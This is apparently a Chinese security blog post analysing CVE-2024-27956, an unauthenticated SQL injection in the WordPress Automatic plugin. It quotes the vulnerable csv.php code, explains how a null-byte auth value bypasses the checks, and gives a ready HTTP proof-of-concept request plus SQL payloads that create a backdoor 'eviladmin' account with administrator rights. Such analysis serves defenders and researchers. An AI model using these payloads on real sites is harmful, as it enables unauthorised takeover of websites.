WordPress Automatic插件存在未授权SQL注入漏洞-CVE-2024-27956分析
养一只月亮 发表于 北京 漏洞分析 951浏览 · 2024-05-22 04:52

漏洞概述

WordPress Automatic插件存在未授权SQL注入漏洞,远程攻击者可以利用它获得对网站的未经授权访问,创建管理员级别的用户帐户,上传恶意文件,并可能完全控制受影响的网站。

漏洞触发环境

  • 基于Wordpress搭建的网站

  • WordPress Automatic插件版本<3.92.1

漏洞成因

在inc/csv.php文件中存在该漏洞

<?php
require_once('../../../../wp-load.php');
global $wpdb;



  global $current_user;
  wp_get_current_user();

     //   echo user_login . "'s email address is: " . $current_user->user_pass;


//get admin pass for integrity check 


// extract query
$q = stripslashes($_POST['q']);
$auth = stripslashes($_POST['auth']);
$integ=stripslashes($_POST['integ']);

if(wp_automatic_trim($auth == '')){

      echo 'login required';
    exit;
}

if(wp_automatic_trim($auth) != wp_automatic_trim($current_user->user_pass)){
      echo 'invalid login';
    exit;
}

if(md5(wp_automatic_trim($q.$current_user->user_pass)) != $integ ){
      echo 'Tampered query';
    exit;
}


$rows=$wpdb->get_results( $q);
$date=date("F j, Y, g:i a s");
$fname=md5($date);
header("Content-type: application/csv");
header("Content-Disposition: attachment; filename=$fname.csv");
header("Pragma: no-cache");
header("Expires: 0");

  echo "DATE,ACTION,DATA,KEYWORD \n";
foreach($rows as $row){

    $action=$row->action;
    if (stristr($action , 'New Comment Posted on :')){
            $action = 'Posted Comment';
        }elseif(stristr($action , 'approved')){
            $action = 'Approved Comment';
    }

    //format date
    $date=date('Y-n-j H:i:s',strtotime ($row->date));

    $data=$row->data;
    $keyword='';
    //filter the data strip keyword
    if(stristr($data,';')){
        $datas=explode(';',$row->data);
        $data=$datas[0];
        $keyword=$datas[1];
    }
      echo "$date,$action,$data,$keyword \n";

}

//  echo "record1,$q,record3\n";

?>

我们可以看到, 变量q&变量auth&变量integ都是可控变量,并且变量auth使用了wp_automatic_trim()函数进行检查

// extract query
$q = stripslashes($_POST['q']);
$auth = stripslashes($_POST['auth']);
$integ=stripslashes($_POST['integ']);

if(wp_automatic_trim($auth == '')){

      echo 'login required';
    exit;
}

if(wp_automatic_trim($auth) != wp_automatic_trim($current_user->user_pass)){
      echo 'invalid login';
    exit;
}

if(md5(wp_automatic_trim($q.$current_user->user_pass)) != $integ ){
      echo 'Tampered query';
    exit;
}

跟进wp_automatic_trim()函数查看函数执行操作,发现如果传入的字符串是空的,就会返回空

//wp-automatic.php
function wp_automatic_trim($str)
{
    if (is_null($str)) {
        return '';
    } else {
        return trim($str);
    }
}

第一个检测逻辑判断变量auth,如果变量auth为空就输出login required,第二个检测判断变量auth是否等于用户密码,如果不等于就会输出invalid login,第三个逻辑判断变量integ的值如果不等于$q的md5值就会输出Tampered query

if(wp_automatic_trim($auth == '')){
      echo 'login required';
    exit;
}

if(wp_automatic_trim($auth) != wp_automatic_trim($current_user->user_pass)){
      echo 'invalid login';
    exit;
}

if(md5(wp_automatic_trim($q.$current_user->user_pass)) != $integ ){
      echo 'Tampered query';
    exit;
}

所以我们绕过上面三个逻辑判断就可以通过变量q执行构造的sql语句,给变量auth一个%00就可以绕过第一个和第二个逻辑判断,我们只需要提供 SQL 查询的 MD5 值,因为变量integ是$current_user->user_pass一个空字符串。

$rows=$wpdb->get_results( $q);
$date=date("F j, Y, g:i a s");
$fname=md5($date);
header("Content-type: application/csv");
header("Content-Disposition: attachment; filename=$fname.csv");
header("Pragma: no-cache");
header("Expires: 0");

  echo "DATE,ACTION,DATA,KEYWORD \n";
foreach($rows as $row){

    $action=$row->action;
    if (stristr($action , 'New Comment Posted on :')){
            $action = 'Posted Comment';
        }elseif(stristr($action , 'approved')){
            $action = 'Approved Comment';
    }

    //format date
    $date=date('Y-n-j H:i:s',strtotime ($row->date));

    $data=$row->data;
    $keyword='';
    //filter the data strip keyword
    if(stristr($data,';')){
        $datas=explode(';',$row->data);
        $data=$datas[0];
        $keyword=$datas[1];
    }
      echo "$date,$action,$data,$keyword \n";

}

//  echo "record1,$q,record3\n";

?>

所以我们构造POC验证是否成功利用

POST /wp-content/plugins/wp-automatic/inc/csv.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close

q=SELECT+IF(1=1,sleep(3),sleep(0))&auth=%00&integ=111626f5f910d38cf6de27181780707e

漏洞的可用性分析

  • 该漏洞可用于Wordpress搭建的网站,并且Wordpress网站使用了WordPress Automatic插件并且版本低于3.92.1

  • 可以通过SQL注入有效负载来创建用户

    • q=INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', 'eviladmin@gmail.com', 'http://127.0.0.1:8000', '2024-04-30 16:26:43', 0, 'eviladmin')
      
  • 授予用户管理员权限

    • q=INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}
      
  • 导致远程代码执行

漏洞复现

0 条评论
某人
表情
可输入 255